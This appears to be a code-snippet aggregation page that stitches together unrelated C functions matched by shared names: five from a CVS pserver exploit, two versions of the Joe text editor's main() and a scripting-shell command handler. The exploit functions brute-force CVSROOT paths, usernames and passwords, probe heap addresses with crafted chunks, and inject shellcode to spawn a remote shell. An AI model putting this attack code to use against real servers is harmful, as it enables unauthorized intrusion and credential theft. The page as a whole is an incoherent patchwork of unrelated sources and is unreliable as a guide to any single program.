Exemplo n.º 1
0
int                     brute_cvsroot(void)
{
    int                 i, ret = 0;
    char                * rbuf;

    info("Bruteforcing cvsroot...\n");
    for (i = 0; CVSROOTS[i].name; i++)
        {
            nopen(host, port);
            nprintf(CVS_VERIF, CVSROOTS[i].name, DUMMY, scramble(DUMMY));
            info("Trying CVSROOT = %s\t", CVSROOTS[i].name);
            rbuf = flush_sock();
            nclose();
            if (!rbuf || strstr(rbuf, CVS_BAD_REP))
                info(BAD_TRIP);
            else if (strstr(rbuf, CVS_AUTH_FAILED) ||
                     strstr(rbuf, CVS_AUTH_SUCCESS) ||
                     strstr(rbuf, CVS_NO_USER))
                {
                    info(GOOD_TRIP);
                    CVSROOTS[i].id = i;
                    root = CVSROOTS[i].name;
                    if (user && pass)
                        {
                            free(rbuf);
                            return (1);
                        }
                    ret++;
                }
            else
                printf(BAD_TRIP);
            free(rbuf);
        }
    return (ret);
}
Exemplo n.º 2
0
int                     range_crashed(int addr, int addr2)
{
    char                * buf;

    cvs_conn();
    nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
    for (; addr < addr2; addr += 8)
        if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4)))
            nprintf(build_chunk(addr, addr + 4, cur_num++));
    memcpy_flush();
    nprintf(CVS_FLUSH);
    buf = flush_sock();
    if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW)
        || strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2))
        {
            nclose();
            return (0);
        }
#ifdef SHITTEST
    sleep(333);
#endif
    nclose();
    return (1);
}
Exemplo n.º 3
0
int                     brute_username(void)
{
    int                 i, c, ret = 0;
    char                * rbuf;

    info("Bruteforcing cvs login... \n");
    for (c = 0; CVSROOTS[c].name; c++)
        {
            if (!root && CVSROOTS[c].id == -1) continue;
            for ( i=0; USERNAMES[i].name; i++ )
                {
                    if (root)
                        CVSROOTS[c].name = root;
                    info("Trying cvsroot = %s, login = %s\t", CVSROOTS[c].name,
                         USERNAMES[i].name);
                    nopen(host, port);
                    nprintf(CVS_VERIF, CVSROOTS[c].name, USERNAMES[i].name,
                            scramble(DUMMY));
                    rbuf = flush_sock();
                    nclose();
                    if ( strstr( rbuf, CVS_NO_USER))
                        info( BAD_TRIP, rbuf );
                    else if (strstr( rbuf, CVS_AUTH_FAILED) ||
                        strstr(rbuf, CVS_AUTH_SUCCESS))
                        {
                            info(GOOD_TRIP);
                            USERNAMES[i].id = CVSROOTS[c].id;
                            user = USERNAMES[i].name;
                            if (pass)
                                {
                                    free(rbuf);
                                    return (1);
                                }
                            ret++;
                        }
                    free(rbuf);
                }
            if (root)
                return (ret);
        }
    return (ret);
}
Exemplo n.º 4
0
int                     brute_password(void)
{
    int                 i, c, ret=0;
    char                * rbuf;

    info("Bruteforcing cvs password...\n");
    for (c = 0; USERNAMES[c].name; c++)
        {
            if (!user && USERNAMES[c].id == -1) continue;
            for (i = 0; PASSWORDS[i].name; i++)
                {
                    info("Trying login = %s, pass = %s\t", user?user:USERNAMES[c].name,
                         PASSWORDS[i].name);
                    nopen(host, port);
                    nprintf(CVS_VERIF,root?root:CVSROOTS[USERNAMES[c].id].name,
                            user?user:USERNAMES[c].name, scramble(PASSWORDS[i].name) );
                    rbuf = flush_sock();
                    nclose();
                    if (strstr(rbuf, CVS_AUTH_FAILED))
                        info(BAD_TRIP, rbuf);
                    else if (strstr(rbuf, CVS_AUTH_SUCCESS))
                        {
                            info(GOOD_TRIP);
                            if (!root)
                                root = CVSROOTS[ USERNAMES[c].id ].name;
                            if (!user)
                                user = USERNAMES[c].name;
                            pass = PASSWORDS[i].name;
                            free(rbuf);
                            printf(SUCCESS_LOGON, user, pass, root);
                            return (1);
                        }
                    else
                        info(BAD_TRIP);
                    free(rbuf);
                }
            if (user)
                return (0);
        }
    return (0);
}
Exemplo n.º 5
0
void                    linux_exploitation(ulong addr, int sz)
{
    char                * buf;

    printf("Exploiting %s on a Linux\t", host);
    cvs_conn();
    fflush(stdout);
    memcpy_addr(addr, SHELLCODE_ADDR, sz);
    memcpy_remote(RANGE_VALID, SHELLCODE_ADDR, ab_shellcode,
                  sizeof(ab_shellcode) - 1);
    memcpy_flush();
    nprintf(CVS_FLUSH);
    buf = flush_sock();
    if (strstr(buf, MAGICSTRING))
        {
            printf(EXPLOITROX);
            sh(sock);
        }
#ifdef SHITTEST
    sleep(333);
#endif
    nclose();
    info(BAD_TRIP);
}
Exemplo n.º 6
0
int main(int argc, char **real_argv, char **envv)
{
	CAP *cap;
	unsigned char **argv = (unsigned char **)real_argv;
	struct stat sbuf;
	unsigned char *s;
	unsigned char *t;
	long time_rc;
	unsigned char *run;
#ifdef __MSDOS__
	unsigned char *rundir;
#endif
	SCRN *n;
	int opened = 0;
	int omid;
	int backopt;
	int c;

	joe_locale();

	mainenv = (unsigned char **)envv;
	
	vmem = vtmp();
	startup_log = bfind_scratch(USTR "* Startup Log *");
	startup_log->internal = 1;

#ifdef __MSDOS__
	_fmode = O_BINARY;
	zlcpy(stdbuf, sizeof(stdbuf), argv[0]);
	joesep(stdbuf);
	run = namprt(stdbuf);
	rundir = dirprt(stdbuf);
	for (c = 0; run[c]; ++c)
		if (run[c] == '.') {
			run = vstrunc(run, c);
			break;
		}
#else
	run = namprt(argv[0]);
#endif

	if ((s = (unsigned char *)getenv("LINES")) != NULL)
		sscanf((char *)s, "%d", &lines);
	if ((s = (unsigned char *)getenv("COLUMNS")) != NULL)
		sscanf((char *)s, "%d", &columns);
	if ((s = (unsigned char *)getenv("BAUD")) != NULL)
		sscanf((char *)s, "%u", (unsigned *)&Baud);
	if (getenv("DOPADDING"))
		dopadding = 1;
	if (getenv("NOXON"))
		noxon = 1;
	if ((s = (unsigned char *)getenv("JOETERM")) != NULL)
		joeterm = s;

#ifndef __MSDOS__
	if (!(cap = my_getcap(NULL, 9600, NULL, NULL))) {
		logerror_0((char *)joe_gettext(_("Couldn't load termcap/terminfo entry\n")));
		goto exit_errors;
	}
#endif

#ifdef __MSDOS__

	s = vsncpy(NULL, 0, sv(run));
	s = vsncpy(sv(s), sc("rc"));
	c = procrc(cap, s);
	if (c == 0)
		goto donerc;
	if (c == 1) {
		logerror_1((char *)joe_gettext(_("There were errors in '%s'.  Falling back on default.\n")), s);
	}

	vsrm(s);
	s = vsncpy(NULL, 0, sv(rundir));
	s = vsncpy(sv(s), sv(run));
	s = vsncpy(sv(s), sc("rc"));
	c = procrc(cap, s);
	if (c == 0)
		goto donerc;
	if (c == 1) {
		logerror_1((char *)joe_gettext(_("There were errors in '%s'.  Falling back on default.\n")), s);
	}
#else

	/* Name of system joerc file.  Try to find one with matching language... */
	
	/* Try full language: like joerc.de_DE */
	t = vsncpy(NULL, 0, sc(JOERC));
	t = vsncpy(sv(t), sv(run));
	t = vsncpy(sv(t), sc("rc."));
	t = vsncpy(sv(t), sz(locale_msgs));
	if (!stat((char *)t,&sbuf))
		time_rc = sbuf.st_mtime;
	else {
		/* Try generic language: like joerc.de */
		if (locale_msgs[0] && locale_msgs[1] && locale_msgs[2]=='_') {
			vsrm(t);
			t = vsncpy(NULL, 0, sc(JOERC));
			t = vsncpy(sv(t), sv(run));
			t = vsncpy(sv(t), sc("rc."));
			t = vsncpy(sv(t), locale_msgs, 2);
			if (!stat((char *)t,&sbuf))
				time_rc = sbuf.st_mtime;
			else
				goto nope;
		} else {
			nope:
			vsrm(t);
			/* Try Joe's bad english */
			t = vsncpy(NULL, 0, sc(JOERC));
			t = vsncpy(sv(t), sv(run));
			t = vsncpy(sv(t), sc("rc"));
			if (!stat((char *)t,&sbuf))
				time_rc = sbuf.st_mtime;
			else
				time_rc = 0;
		}
	}

	/* User's joerc file */
	s = (unsigned char *)getenv("HOME");
	if (s) {
		s = vsncpy(NULL, 0, sz(s));
		s = vsncpy(sv(s), sc("/."));
		s = vsncpy(sv(s), sv(run));
		s = vsncpy(sv(s), sc("rc"));

		if (!stat((char *)s,&sbuf)) {
			if (sbuf.st_mtime < time_rc) {
				logmessage_2((char *)joe_gettext(_("Warning: %s is newer than your %s.\n")),t,s);
			}
		}

		c = procrc(cap, s);
		if (c == 0) {
			vsrm(t);
			goto donerc;
		}
		if (c == 1) {
			logerror_1((char *)joe_gettext(_("There were errors in '%s'.  Falling back on default.\n")), s);
		}
	}

	vsrm(s);
	s = t;
	c = procrc(cap, s);
	if (c == 0)
		goto donerc;
	if (c == 1) {
		logerror_1((char *)joe_gettext(_("There were errors in '%s'.  Falling back on default.\n")), s);
	}

	/* Try built-in joerc */
	s = vsncpy(NULL, 0, sc("*"));
	s = vsncpy(sv(s), sv(run));
	s = vsncpy(sv(s), sc("rc"));
	c = procrc(cap, s);
	if (c != 0 && c != 1) {
		/* If *fancyjoerc not present, use *joerc which is always there */
		s = vstrunc(s, 0);
		s = vsncpy(sv(s),sc("*joerc"));
		c = procrc(cap, s);
	}
	if (c == 0)
		goto donerc;
	if (c == 1) {
		logerror_1((char *)joe_gettext(_("There were errors in '%s'.  Falling back on default.\n")), s);
	}
#endif

	logerror_1((char *)joe_gettext(_("Couldn't open '%s'\n")), s);
	goto exit_errors;
	return 1;

	donerc:

	if (validate_rc()) {
		logerror_0((char *)joe_gettext(_("rc file has no :main key binding section or no bindings.  Bye.\n")));
		goto exit_errors;
	}

	{
		unsigned char buf[10];
		int x;
		zlcpy(buf, sizeof(buf), USTR "\"`\"	`  ");
		type_backtick = mparse(0, buf, &x, 0);
	}

	shell_kbd = mkkbd(kmap_getcontext(USTR "shell"));

	if (!isatty(fileno(stdin)))
		idleout = 0;

	for (c = 1; argv[c]; ++c) {
		if (argv[c][0] == '-') {
			if (argv[c][1])
				switch (glopt(argv[c] + 1, argv[c + 1], NULL, 1)) {
				case 0:
					logerror_1((char *)joe_gettext(_("Unknown option '%s'\n")), argv[c]);
					break;
				case 1:
					break;
				case 2:
					++c;
					break;
			} else
				idleout = 0;
		}
	}

	/* initialize mouse support */
	if (xmouse && (s=(unsigned char *)getenv("TERM")) && strstr((char *)s,"xterm"))
		usexmouse=1;

	if (!(n = nopen(cap)))
		goto exit_errors;
	maint = screate(n);

	load_state();

	/* It would be better if this ran uedit() to load files */

	/* The business with backopt is to load the file first, then apply file
	 * local options afterwords */

	/* orphan is not compatible with exemac()- macros need a window to exist */
	for (c = 1, backopt = 0; argv[c]; ++c)
		if (argv[c][0] == '+' && argv[c][1]>='0' && argv[c][1]<='9') {
			if (!backopt)
				backopt = c;
		} else if (argv[c][0] == '-' && argv[c][1]) {
			if (!backopt)
				backopt = c;
			if (glopt(argv[c] + 1, argv[c + 1], NULL, 0) == 2)
				++c;
		} else {
			B *b = bfind(argv[c]);
			BW *bw = NULL;
			int er = berror;

			/* This is too annoying */
			/* set_current_dir(argv[c],1); */

			setup_history(&filehist);
			append_history(filehist,sz(argv[c]));

			/* wmktw inserts the window before maint->curwin */
			if (!orphan || !opened) {
				bw = wmktw(maint, b);
				if (er)
					msgnwt(bw->parent, joe_gettext(msgs[-er]));
			} else {
				long line;
				b->orphan = 1;
				b->oldcur = pdup(b->bof, USTR "main");
				pline(b->oldcur, get_file_pos(b->name));
				p_goto_bol(b->oldcur);
				line = b->oldcur->line - (maint->h - 1) / 2;
				if (line < 0)
					line = 0;
				b->oldtop = pdup(b->oldcur, USTR "main");
				pline(b->oldtop, line);
				p_goto_bol(b->oldtop);
			}
			if (bw) {
				long lnum = 0;

				bw->o.readonly = bw->b->rdonly;
				if (backopt) {
					while (backopt != c) {
						if (argv[backopt][0] == '+') {
							sscanf((char *)(argv[backopt] + 1), "%ld", &lnum);
							++backopt;
						} else {
							if (glopt(argv[backopt] + 1, argv[backopt + 1], &bw->o, 0) == 2)
								backopt += 2;
							else
								backopt += 1;
							lazy_opts(bw->b, &bw->o);
						}
					}
				}
				bw->b->o = bw->o;
				bw->b->rdonly = bw->o.readonly;
				/* Put cursor in window, so macros work properly */
				maint->curwin = bw->parent;
				/* Execute macro */
				if (er == -1 && bw->o.mnew)
					exmacro(bw->o.mnew,1);
				if (er == 0 && bw->o.mold)
					exmacro(bw->o.mold,1);
				/* Hmm... window might not exist any more... depends on what macro does... */
				if (lnum > 0)
					pline(bw->cursor, lnum - 1);
				else
					pline(bw->cursor, get_file_pos(bw->b->name));
				p_goto_bol(bw->cursor);
				/* Go back to first window so windows are in same order as command line  */
				if (opened)
					wnext(maint);
				
			}
			opened = 1;
			backopt = 0;
		}

	

	if (opened) {
		wshowall(maint);
		omid = mid;
		mid = 1;
		dofollows();
		mid = omid;
	} else {
		BW *bw = wmktw(maint, bfind(USTR ""));

		if (bw->o.mnew)
			exmacro(bw->o.mnew,1);
	}
	maint->curwin = maint->topwin;

	if (logerrors) {
		B *copied = bcpy(startup_log->bof, startup_log->eof);
		BW *bw = wmktw(maint, copied);
		copied->name = zdup(startup_log->name);
		copied->internal = 1;
		maint->curwin = bw->parent;
		wshowall(maint);
	}

	if (help) {
		help_on(maint);
	}
	if (!nonotice) {
		joe_snprintf_3(msgbuf,JOE_MSGBUFSIZE,joe_gettext(_("\\i** Joe's Own Editor v%s ** (%s) ** Copyright %s 2015 **\\i")),VERSION,locale_map->name,(locale_map->type ? "©" : "(C)"));

		msgnw(((BASE *)lastw(maint)->object)->parent, msgbuf);
	}

	if (!idleout) {
		if (!isatty(fileno(stdin)) && modify_logic(maint->curwin->object, ((BW *)maint->curwin->object)->b)) {
			/* Start shell going in first window */
			unsigned char **a;
			unsigned char *cmd;

			a = vamk(10);
			cmd = vsncpy(NULL, 0, sc("/bin/sh"));
			a = vaadd(a, cmd);
			cmd = vsncpy(NULL, 0, sc("-c"));
			a = vaadd(a, cmd);
			cmd = vsncpy(NULL, 0, sc("/bin/cat"));
			a = vaadd(a, cmd);
			
			cstart (maint->curwin->object, USTR "/bin/sh", a, NULL, NULL, 0, 1, NULL, 0);
		}
	}

	edloop(0);

	save_state();

	/* Delete all buffer so left over locks get eliminated */
	brmall();

	vclose(vmem);
	nclose(n);

	if  (noexmsg) {
		if (notite)
			fprintf(stderr, "\n");
	} else {
		if (exmsg)
			fprintf(stderr, "\n%s\n", exmsg);
		else if (notite)
			fprintf(stderr, "\n");
	}

	return 0;

exit_errors:

	/* Write out error log to console if we are exiting with errors. */
	if (startup_log && startup_log->eof->byte)
		bsavefd(startup_log->bof, 2, startup_log->eof->byte);
	
	return 1;
}
Exemplo n.º 7
0
int main(int argc, char **real_argv, char **envv)
{
	CAP *cap;
	unsigned char **argv = (unsigned char **)real_argv;
	struct stat sbuf;
	unsigned char *s;
	unsigned char *t;
	long time_rc;
	unsigned char *run;
#ifdef __MSDOS__
	unsigned char *rundir;
#endif
	SCRN *n;
	int opened = 0;
	int omid;
	int backopt;
	int c;

	init_bufs();

	for (c = 1; argv[c] != NULL; ++c) {
		if (0 == zcmp((unsigned char*)argv[c], USTR "-nosys")) {
			read_sys_configs = 0;
		} else if (0 == zcmp((unsigned char*)argv[c], USTR "-nouser")) {
			read_user_configs = 0;
		} else {
			argv[--c] = argv[0];
			argv += c;
			argc -= c;
			break;
		}
	}

	if (read_user_configs) {
		s = (unsigned char *)getenv("HOME");
		if (s) {
			s = vsncpy(NULL, 0, sz(s));
			s = vsncpy(sv(s), sc("/.joe-p37/only.rc"));
			if (!stat((char*)s, &sbuf)) read_sys_configs = 0;
			vsrm(s);
		}
	}

	joe_locale();

	mainenv = (unsigned char **)envv;

#ifdef __MSDOS__
	_fmode = O_BINARY;
	zcpy(stdbuf, argv[0]);
	joesep(stdbuf);
	run = namprt(stdbuf);
	rundir = dirprt(stdbuf);
	for (c = 0; run[c]; ++c)
		if (run[c] == '.') {
			run = vstrunc(run, c);
			break;
		}
#else
	run = namprt(argv[0]);
#endif

	env_lines = 0;
	if ((s = (unsigned char *)getenv("LINES")) != NULL &&
	    sscanf((char *)s, "%d", &env_lines) != 1)
		env_lines = 0;
	env_columns = 0;
	if ((s = (unsigned char *)getenv("COLUMNS")) != NULL &&
	    sscanf((char *)s, "%d", &env_columns) != 1)
		env_columns = 0;
	if ((s = (unsigned char *)getenv("BAUD")) != NULL)
		sscanf((char *)s, "%u", (unsigned *)&Baud);
	if (getenv("DOPADDING"))
		dopadding = 1;
	if (getenv("NOXON"))
		noxon = 1;
	if ((s = (unsigned char *)getenv("JOETERM")) != NULL)
		joeterm = s;

#ifndef __MSDOS__
	if (!(cap = my_getcap(NULL, 9600, NULL, NULL))) {
		fprintf(stderr, (char *)joe_gettext(_("Couldn't load termcap/terminfo entry\n")));
		return 1;
	}
#endif

#ifdef __MSDOS__

	s = vsncpy(NULL, 0, sv(run));
	s = vsncpy(sv(s), sc("rc"));
	c = procrc(cap, s);
	if (c == 0)
		goto donerc;
	if (c == 1) {
		unsigned char buf[8];

		fprintf(stderr, (char *)joe_gettext(_("There were errors in '%s'.  Use it anyway?")), s);
		fflush(stderr);
		if (NULL == fgets(buf, 8, stdin) || yn_checks(yes_key, buf))
			goto donerc;
	}

	vsrm(s);
	s = vsncpy(NULL, 0, sv(rundir));
	s = vsncpy(sv(s), sv(run));
	s = vsncpy(sv(s), sc("rc"));
	c = procrc(cap, s);
	if (c != 0 && c != 1) {
		/* If built-in *fancyjoerc not present, process builtin *joerc,
		 * which is always present.
		 */
		s = vstrunc(s, 0);
		s = vsncpy(sv(s), sc("*joerc"));
		c = procrc(cap, s);
	}
	if (c == 0)
		goto donerc;
	if (c == 1) {
		unsigned char buf[8];

		fprintf(stderr, (char *)joe_gettext(_("There were errors in '%s'.  Use it anyway?")), s);
		fflush(stderr);
		if (NULL == fgets(buf, 8, stdin) || yn_checks(yes_key, buf))
			goto donerc;
	}
#else

	/* Name of system joerc file.  Try to find one with matching language... */
	
	/* Try full language: like joerc.de_DE */
	time_rc = 0;
        if (!read_sys_configs) { t = NULL; goto skip_joerc; }
        t = vsncpy(NULL, 0, sc(JOERC));
	t = vsncpy(sv(t), sv(run));
	t = vsncpy(sv(t), sc("rc."));
	t = vsncpy(sv(t), sz(locale_msgs));
	if (!stat((char *)t,&sbuf))
		time_rc = sbuf.st_mtime;
	else {
		/* Try generic language: like joerc.de */
		if (locale_msgs[0] && locale_msgs[1] && locale_msgs[2]=='_') {
			vsrm(t);
			t = vsncpy(NULL, 0, sc(JOERC));
			t = vsncpy(sv(t), sv(run));
			t = vsncpy(sv(t), sc("rc."));
			t = vsncpy(sv(t), locale_msgs, 2);
			if (!stat((char *)t,&sbuf))
				time_rc = sbuf.st_mtime;
			else
				goto nope;
		} else {
			nope:
			vsrm(t);
			/* Try Joe's bad english */
			t = vsncpy(NULL, 0, sc(JOERC));
			t = vsncpy(sv(t), sv(run));
			t = vsncpy(sv(t), sc("rc"));
			if (!stat((char *)t,&sbuf))
				time_rc = sbuf.st_mtime;
			else {
				/* If built-in *fancyjoerc not present, process builtin *joerc,
				 * which is always present.
				 */
				t = vstrunc(s, 0);
				t = vsncpy(sv(s), sc("*joerc"));
				time_rc = stat((char *)t,&sbuf) ? 0 : sbuf.st_mtime;
			}
		}
	}
	skip_joerc:

	/* User's joerc file */
	s = (unsigned char *)getenv("HOME");
	if (s && !read_sys_configs) {
		if (read_user_configs) {  /* TODO(pts): Don't read /dev/null */
			s = vsncpy(NULL, 0, sz(s));
			s = vsncpy(sv(s), sc("/.joe-p37/rc"));
		} else {
			s = vsncpy(NULL, 0, sc("/dev/null/missing"));
		}
		goto process_user_rc;
	} else if (!read_user_configs) {
		s = vsncpy(NULL, 0, sc("/dev/null/missing"));
		goto process_user_rc;
	} else if (s) {
		unsigned char buf[8];

		s = vsncpy(NULL, 0, sz(s));
		s = vsncpy(sv(s), sc("/."));
		s = vsncpy(sv(s), sv(run));
		s = vsncpy(sv(s), sc("rc"));

		if (!stat((char *)s,&sbuf)) {
			if (sbuf.st_mtime < time_rc) {
				fprintf(stderr,(char *)joe_gettext(_("Warning: %s is newer than your %s.\n")),t,s);
				fprintf(stderr,(char *)joe_gettext(_("You should update or delete %s\n")),s);
				fprintf(stderr,(char *)joe_gettext(_("Hit enter to continue with %s ")),t);
				fflush(stderr);
				(void)!fgets((char *)buf, 8, stdin);
				goto use_sys;
			}
		}

	      process_user_rc:
		c = procrc(cap, s);
		if (c == 0) {
			vsrm(t);
			goto donerc;
		}
		if (c == 1) {
			fprintf(stderr,(char *)joe_gettext(_("There were errors in '%s'.  Use it anyway (y,n)? ")), s);
			fflush(stderr);
			if (NULL == fgets((char *)buf, 8, stdin) || ynchecks(yes_key, buf)) {
				vsrm(t);
				goto donerc;
			}
		}
	}

	use_sys:
	vsrm(s);
	s = t;
	c = s ? procrc(cap, s) : -1;
	if (c == 0)
		goto donerc;
	if (c == 1) {
		unsigned char buf[8];

		fprintf(stderr,(char *)joe_gettext(_("There were errors in '%s'.  Use it anyway (y,n)? ")), s);
		fflush(stderr);
		if (NULL == fgets((char *)buf, 8, stdin) || ynchecks(yes_key, buf))
			goto donerc;
	}

	/* Try built-in *fancyjoerc, e.g. "*joe-p37rc" */
	vsrm(s);
	s = vsncpy(NULL, 0, sc("*"));
	s = vsncpy(sv(s), sv(run));
	s = vsncpy(sv(s), sc("rc"));
	c = procrc(cap, s);
	if (c != 0 && c != 1) {
		/* If built-in *fancyjoerc not present, process builtin "*joerc",
		 * which is always present.
		 */
		s = vstrunc(s, 0);
		s = vsncpy(sv(s), sc("*joerc"));
		c = procrc(cap, s);
	}
	if (c == 0)
		goto donerc;
	if (c == 1) {
		unsigned char buf[8];

		fprintf(stderr,(char *)joe_gettext(_("There were errors in '%s'.  Use it anyway (y,n)? ")), s);
		fflush(stderr);
		if (NULL == fgets((char *)buf, 8, stdin) || ynchecks(yes_key, buf))
			goto donerc;
	}
#endif

	fprintf(stderr,(char *)joe_gettext(_("Couldn't open '%s'\n")), s);
	vsrm(s);
	return 1;

	donerc:
	vsrm(s);

	if (validate_rc()) {
		fprintf(stderr,(char *)joe_gettext(_("rc file has no :main key binding section or no bindings.  Bye.\n")));
		return 1;
	}


	if (!isatty(fileno(stdin)))
		idleout = 0;

	for (c = 1; argv[c]; ++c) {
		if (argv[c][0] == '-') {
			if (argv[c][1])
				switch (glopt(argv[c] + 1, argv[c + 1], NULL, 1)) {
				case 0:
					fprintf(stderr,(char *)joe_gettext(_("Unknown option '%s'\n")), argv[c]);
					break;
				case 1:
					break;
				case 2:
					++c;
					break;
			} else
				idleout = 0;
		}
	}
	if (!dspasis) {  /* Open all files as ASCII by default if `joe --asis' is specified. This is to avoid writing control characters to the UTF-8 terminal. */
		fdefault.charmap = pdefault.charmap = find_charmap(USTR "ascii");
		fdefault.map_name = pdefault.map_name = USTR "ascii";
	}


	/* initialize mouse support */
	if (xmouse && (s=(unsigned char *)getenv("TERM")) && strstr((char *)s,"xterm"))
		usexmouse=1;

	if (!(n = nopen(cap)))
		return 1;
	maint = screate(n);
	vmem = vtmp();

	startup_log = bfind_scratch_incref(USTR "* Startup Log *");
	startup_log->internal = 1;

	load_state();

	/* It would be better if this ran uedit() to load files */

	/* The business with backopt is to load the file first, then apply file
	 * local options afterwords */

	/* orphan is not compatible with exemac()- macros need a window to exist */
	for (c = 1, backopt = 0; argv[c]; ++c)
		if (argv[c][0] == '+' && argv[c][1]>='0' && argv[c][1]<='9') {
			if (!backopt)
				backopt = c;
		} else if (argv[c][0] == '-' && argv[c][1]) {
			if (!backopt)
				backopt = c;
			if (glopt(argv[c] + 1, argv[c + 1], NULL, 0) == 2)
				++c;
		} else {
			B *b = bfind_incref(argv[c]);
			BW *bw = NULL;
			int er = berror;

			/* This is too annoying */
			/* set_current_dir(argv[c],1); */

			setup_history(&filehist);
			append_history(filehist,sz(argv[c]));

			/* wmktw_takeref() inserts the window before maint->curwin */
			if (!orphan || !opened) {
				bw = wmktw_takeref(maint, b);
				if (er)
					msgnwt(bw->parent, joe_gettext(msgs[-er]));
			} else {
				long line;
				b->orphan = 1;
				b->oldcur = pdup(b->bof, USTR "main");
				pline(b->oldcur, get_file_pos(b->name));
				line = b->oldcur->line - (maint->h - 1) / 2;
				if (line < 0)
					line = 0;
				b->oldtop = pdup(b->oldcur, USTR "main");
				pline(b->oldtop, line);
				p_goto_bol(b->oldtop);
			}
			if (bw) {
				long lnum = 0;

				bw->o.readonly = bw->b->rdonly;
				if (backopt) {
					while (backopt != c) {
						if (argv[backopt][0] == '+') {
							sscanf((char *)(argv[backopt] + 1), "%ld", &lnum);
							++backopt;
						} else {
							if (glopt(argv[backopt] + 1, argv[backopt + 1], &bw->o, 0) == 2)
								backopt += 2;
							else
								backopt += 1;
							lazy_opts(bw->b, &bw->o);
						}
					}
				}
				bw->b->o = bw->o;
				bw->b->rdonly = bw->o.readonly;
				/* Put cursor in window, so macros work properly */
				maint->curwin = bw->parent;
				/* Execute macro */
				if (er == -1 && bw->o.mnew)
					exmacro(bw->o.mnew,1);
				if (er == 0 && bw->o.mold)
					exmacro(bw->o.mold,1);
				/* Hmm... window might not exist any more... depends on what macro does... */
				if (lnum > 0)
					pline(bw->cursor, lnum - 1);
				else
					pline(bw->cursor, get_file_pos(bw->b->name));
				p_goto_bol(bw->cursor);
				/* Go back to first window so windows are in same order as command line  */
				if (opened)
					wnext(maint);
				
			}
			opened = 1;
			backopt = 0;
		}

	

	if (opened) {
		wshowall(maint);
		omid = mid;
		mid = 1;
		dofollows();
		mid = omid;
	} else {
		BW *bw = wmktw_takeref(maint, bfind_incref(USTR ""));

		if (bw->o.mnew)
			exmacro(bw->o.mnew,1);
	}
	maint->curwin = maint->topwin;

	if (startup_log->eof->byte) {
		BW *bw = wmktw_takeref(maint, startup_log);
		startup_log = NULL;
		maint->curwin = bw->parent;
		wshowall(maint);
		uparserr(bw);
	}

	if (help) {
		help_on(maint);
	}
	if (!nonotice) {
		joe_snprintf_3(msgbuf,JOE_MSGBUFSIZE,joe_gettext(_("\\i** Joe's Own Editor v%s ** (%s) ** Copyright %s 2008 **\\i")),VERSION,locale_map->name,(locale_map->type ? "©" : "(C)"));

		msgnw(((BASE *)lastw(maint)->object)->parent, msgbuf);
	}

	if (!idleout) {
		if (!isatty(fileno(stdin)) && modify_logic(maint->curwin->object, ((BW *)maint->curwin->object)->b)) {
			/* Start shell going in first window */
			unsigned char **a;
			unsigned char *cmd;

			a = vamk(10);
			cmd = vsncpy(NULL, 0, sc("/bin/sh"));
			a = vaadd(a, cmd);
			cmd = vsncpy(NULL, 0, sc("-c"));
			a = vaadd(a, cmd);
			cmd = vsncpy(NULL, 0, sc("/bin/cat"));
			a = vaadd(a, cmd);
			
			cstart (maint->curwin->object, USTR "/bin/sh", a, NULL, NULL, 0, 1);
		}
	}

	edloop(0);

	save_state();

	/* Delete all buffer so left over locks get eliminated */
	brmall();

	vclose(vmem);
	nclose(n);

	if (exmsg)
		fprintf(stderr, "\n%s\n", exmsg);
	return 0;
}
Exemplo n.º 8
0
static int 
cmdshell(struct objlist *obj,N_VALUE *inst,N_VALUE *rval,int argc,char **argv)
{
  struct shlocal *shlocal;
  struct nshell *nshell;
  struct narray *sarray;
  char **sdata;
  int i,snum;
  int err;
  char *filename,*filename2;
  int fd;
  int rcode;
  char *s;
#ifndef WINDOWS
  struct sigaction oldact;
  int (*save_interrupt)(void);
#endif

  _getobj(obj,"_local",inst,&shlocal);

  if (shlocal->lock) {
    error(obj,ERRRUN);
    return 1;
  }
  shlocal->lock=1;
  nshell=shlocal->nshell;

  shellsavestdio(nshell);
#ifndef WINDOWS
  save_interrupt = ninterrupt;
  set_signal(SIGINT, 0, int_handler, &oldact);
  ninterrupt = check_interrupt;
#endif

  err=1;
  filename=NULL;

  sarray=(struct narray *)argv[2];
  snum=arraynum(sarray);
  sdata=arraydata(sarray);
  for (i=0;i<snum;i++) {
    s=sdata[i];
    if ((s!=NULL) && ((s[0]=='-') || (s[0]=='+'))) {
      if (s[1]=='-') {
        i++;
        break;
      }
      switch (s[1]) {
      default:
        if (setshelloption(nshell,s)==-1) goto errexit;
        break;
      }
    } else break;
  }
  if (i!=snum) {
    filename=sdata[i];
    i++;
  }

  if (set_shell_args(nshell, i, argv[1], snum, sdata)) {
    goto errexit;
  }

  fd=NOHANDLE;
  if (filename!=NULL) {
    filename2=nsearchpath(getval(nshell,"PATH"),filename,TRUE);
    if (filename2!=NULL) {
      if ((fd=nopen(filename2,O_RDONLY,NFMODE))==NOHANDLE) {
        g_free(filename2);
        error2(obj,ERRFILEFIND,filename);
        goto errexit;
      }
      g_free(filename2);
      setshhandle(nshell,fd);
    } else {
      error2(obj,ERRFILEFIND,filename);
      goto errexit;
    }
  } else setshhandle(nshell,stdinfd());
  do {
    rcode=cmdexecute(nshell,NULL);

    if (nshell->deleted)
      break;

  } while (nisatty(getshhandle(nshell)) && (rcode!=0));

  if (fd!=NOHANDLE) {
    nclose(fd);
    setshhandle(nshell,stdinfd());
    if (!getshelloption(nshell,'s')) {
      do {
        rcode=cmdexecute(nshell,NULL);
      } while (nisatty(getshhandle(nshell)) && (rcode!=0));
    }
  }
  err=0;

errexit:
#ifndef WINDOWS
  ninterrupt = save_interrupt;
  sigaction(SIGINT, &oldact, NULL);
#endif
  shellrestorestdio(nshell);

  if (nshell->deleted) {
    delshell(nshell);
  } else {
    shlocal->lock = 0;
  }

  return err;
}